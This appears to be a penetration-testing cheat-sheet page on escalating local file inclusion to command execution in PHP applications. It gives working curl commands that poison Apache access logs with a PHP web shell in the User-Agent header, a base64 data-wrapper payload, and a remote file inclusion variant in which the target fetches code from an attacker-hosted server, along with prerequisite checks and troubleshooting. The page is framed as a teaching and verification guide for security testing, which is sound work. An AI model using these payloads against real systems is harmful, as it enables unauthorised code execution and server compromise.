Turn controlled local file content into inclusion execution
Needs: Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available
Shell commands
# Baseline
curl -sk -A '<?php echo shell_exec($_GET["cmd"]); ?>' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
# Variant — PHP data wrapper
PAYLOAD=$(printf '%s' '<?php echo shell_exec($_GET["cmd"]); ?>' | base64 -w0)
curl -skG --data-urlencode "page=data://text/plain;base64,$PAYLOAD" --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
# Variant — remote file inclusion
python3 -m http.server TRANSFER_PORT --bind LHOST
curl -skG --data-urlencode 'page=http://LHOST:TRANSFER_PORT/check.php' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Decisive output: the unique command output and target execution identity. If code appears as text, only read/inclusion is proven.
Prerequisites: the controlled header is logged, the web identity can read the exact log, the inclusion sink evaluates PHP and the payload survives encoding. On Windows/XAMPP, investigate application-specific paths such as
C:\xampp\apache\logs\access.log.
Requires URL inclusion in the sink and PHP
allow_url_include=On; it is disabled by default in current PHP configurations.
Requires remote URL inclusion, a compatible interpreter and target-to-
LHOST:TRANSFER_PORTreachability. An absent HTTP request is inconclusive until reachability and filtering are separated.
Verify → Require command-specific output distinct from the logged payload and record hostname/identity.
If it fails → Missing log access, escaping or plain-text reading breaks this chain. Data/RFI variants are viable only when their explicitly listed wrapper/configuration and return-route conditions hold. More detail ↓
Explanation & examples
Turn controlled local file content into inclusion execution
- USE WHEN
- A confirmed evaluating include and a log or file containing attacker-controlled bytes
- STARTING ACCESS
- A reproducible application request and a controlled input or access-context comparison
- RESULT
- Verified command execution under the inclusion process identity
Recognize the clue
After a file/include primitive is demonstrated, use readable configuration to locate the actual log and check whether your harmless request marker is present.
curl -sk -A 'LOG_CANARY' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/PATH/TO/access.log' http://TARGET:PORT/index.php
Readable log excerpt: GET / ... User-Agent=LOG_CANARYMeans: The include/read identity can reach a log containing your controlled input; evaluation and payload preservation still need proof.
Confirm: Separate raw file read from interpreter evaluation, confirm exact file path and encoding, then a minimal command effect.
- After validation
- Controlled log bytes are evaluated and the bounded identity proof succeeds: use the inclusion-execution chain.
- Ruled out in this context
- The log is only served as inert text: rule out execution through this reader while retaining file disclosure.
- Still inconclusive
- No marker may mean a different log, buffered writes or escaped content; inspect configuration before changing payloads.
Troubleshooting: Missing log access, escaping or plain-text reading breaks this chain. Data/RFI variants are viable only when their explicitly listed wrapper/configuration and return-route conditions hold.
Additional prerequisite checks
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' http://TARGET:PORT/index.php
Prerequisites: the controlled header is logged, the web identity can read the exact log, the inclusion sink evaluates PHP and the payload survives encoding. On Windows/XAMPP, investigate application-specific paths such as
C:\xampp\apache\logs\access.log.
Decisive output: the unique command output and target execution identity. If code appears as text, only read/inclusion is proven.
Variant — PHP data wrapper
Requires URL inclusion in the sink and PHP allow_url_include=On; it is disabled by default in current PHP configurations.
Variant — remote file inclusion
Requires remote URL inclusion, a compatible interpreter and target-to-LHOST:TRANSFER_PORT reachability. An absent HTTP request is inconclusive until reachability and filtering are separated.
Why it works
LFI alone selects a local file. Execution requires that included bytes be interpreted as code; source displayed as text proves a weaker primitive. Data-wrapper and remote-include variants below have additional URL-inclusion and routing prerequisites.
Worked example · hypothetical
Observation: an include can display a readable access log. Test: place a controlled marker, then the minimal interpreter proof. Illustrative output: the second request returns the target execution identity. Interpretation: command execution is proven; map the session path.
New identity, privilege, host or route? Re-enumerate → All topic tasks →